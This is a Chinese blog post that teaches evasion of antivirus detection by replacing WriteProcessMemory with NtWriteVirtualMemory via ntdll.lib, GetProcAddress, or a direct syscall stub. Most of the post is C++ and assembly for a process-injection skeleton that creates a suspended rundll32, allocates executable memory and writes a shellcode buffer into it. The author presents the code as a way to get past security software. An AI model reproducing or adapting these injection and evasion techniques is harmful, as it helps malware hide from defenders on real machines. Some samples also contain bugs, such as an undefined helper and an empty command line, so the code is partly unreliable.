起因是我的 WriteProcessMemory API 被某 AV 静态查杀。刚好以此 API 为例给出三种替换 R3 API 为对应内核 API 进行免杀的方式。
代码都是从我自己的项目中复制的一些,所以有无关代码,看重点就好。
方法1:ntdll.lib
#include <stdio.h>
#include <windows.h>
#include <tchar.h>
#include <conio.h>
#include <iostream>
#include <tlhelp32.h>
#include <typeinfo>
#include "corecrt_wstring.h"
using namespace std;
#pragma comment(lib, "ntdll.lib")
extern "C" __declspec(dllimport) NTSTATUS NTAPI NtWriteVirtualMemory(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
IN PVOID Buffer,
IN ULONG NumberOfBytesToWrite,
OUT PULONG NumberOfBytesWritten);
void _tmain(int argc, _TCHAR* argv[])
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
BOOL process_result = 0;
BOOL memory_result = 0;
BOOL context_result = 0;
BOOL eip_result = 0;
DWORD resume_result = 0;
LPVOID rwxpage;
CONTEXT threadContext;
int length;
unsigned char buf[] = "\xcc\xcc\xcc\xc3";
length = sizeof(buf) / sizeof(buf[0]);
wchar_t CommandLine[MAX_PATH] = { 0 };
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
// 判断机器是 32 还是 64 位,以此确定 32-bit 程序 notepad.exe 的路径
const int nBitSys = GetSystemBits();
if (nBitSys == 32)
{
wcscpy_s(CommandLine, L"C:\\Windows\\System32\\rundll32.exe");
}
if (nBitSys == 64)
{
wcscpy_s(CommandLine, L"C:\\Windows\\SysWOW64\\rundll32.exe");
}
// 调用 CreateProcess 以挂起的方式(CREATE_SUSPENDED)创建进程
process_result = CreateProcessW(NULL, CommandLine, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
if (!process_result)
{
_tprintf(_T("CreateProcess failed (%d).\n"), GetLastError());
return;
}
// 调用 VirtualAllocEx 函数申请一个可读、可写、可执行的内容
if (pi.hProcess != NULL)
{
rwxpage = VirtualAllocEx(pi.hProcess, 0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
printf("rwxpage = %p", rwxpage);
// 调用 NtWriteVirtualMemory 将 Shellcode 数据写入刚申请的内存中
if (rwxpage != 0) {
memory_result = NtWriteVirtualMemory(
pi.hProcess,
rwxpage,
buf,
length,
NULL);
}
}
return;
}
效果:
技巧:
文档化的 Nt/Zw 函数可通过 include <winternl.h>
直接获取函数签名。
我上面的代码是未文档化 API 的写法。
方法2:LoadLibrary → GetProcAddress
#include <Windows.h>
#include <iostream>
#include <wincrypt.h>
#include <string>
#include <tchar.h>
#include<vector>
#include <stdio.h>
#include <wchar.h>
#include <conio.h>
#include <tlhelp32.h>
#include <typeinfo>
#include "corecrt_wstring.h"
#pragma comment(lib, "crypt32.lib")
using namespace std;
void _tmain(int argc, _TCHAR* argv[])
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
BOOL process_result = 0;
BOOL memory_result = 0;
BOOL context_result = 0;
BOOL eip_result = 0;
DWORD resume_result = 0;
LPVOID rwxpage;
CONTEXT threadContext;
int length;
unsigned char buf[] = "\xcc\xcc\xcc\xc3";
length = sizeof(buf) / sizeof(buf[0]);
wchar_t CommandLine[MAX_PATH] = { 0 };
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
// 调用 CreateProcess 以挂起的方式(CREATE_SUSPENDED)创建进程
process_result = CreateProcessW(NULL, CommandLine, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
if (!process_result)
{
_tprintf(_T("CreateProcess failed (%d).\n"), GetLastError());
return;
}
// 调用 VirtualAllocEx 函数申请一个可读、可写、可执行的内容
if (pi.hProcess != NULL)
{
rwxpage= VirtualAllocEx(pi.hProcess, 0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
printf("rwxpage = %p", rwxpage);
// 调用 NtWriteVirtualMemory 将 Shellcode 数据写入刚申请的内存中
if (rwxpage != 0) {
typedef NTSTATUS(WINAPI* _NtWriteVirtualMemory)(
HANDLE ProcessHandle,
PVOID BaseAddress,
PVOID Buffer,
ULONG NumberOfBytesToWrite,
PULONG NumberOfBytesWritten
);
typedef ULONG(WINAPI* _RtlNtStatusToDosError)(
NTSTATUS Status
);
// 获取 ntdll.dll 模块句柄
HMODULE hmNtdll = GetModuleHandle(L"ntdll.dll");
if (hmNtdll != 0)
{
// 获取 NtWriteVirtualMemory 和 RtlNtStatusToDosError 函数地址
_NtWriteVirtualMemory NtWriteVirtualMemory = (_NtWriteVirtualMemory)GetProcAddress(hmNtdll, "NtWriteVirtualMemory");
_RtlNtStatusToDosError RtlNtStatusToDosError = (_RtlNtStatusToDosError)GetProcAddress(hmNtdll, "RtlNtStatusToDosError");
if (!NtWriteVirtualMemory || !RtlNtStatusToDosError)
{
return;
}
// 调用 NtWriteVirtualMemory 函数将 Shellcode 写入内存
NTSTATUS status = NtWriteVirtualMemory(pi.hProcess, rwxpage, buf, length, NULL);
if (!NT_SUCCESS(status))
{
SetLastError(RtlNtStatusToDosError(status));
_tprintf(_T("NtWriteVirtualMemory failed (%d).\n"), GetLastError());
return;
}
}
}
}
return;
}
方法3:syscall
;.asm
.code
NtWriteVirtualMemory proc
mov r10, rcx
mov eax, 3Ah
syscall
ret
NtWriteVirtualMemory endp
优点
可绕过 inline hook
小结
该方法对杀软仍然有效,可选择此方法绕过查杀
📮评论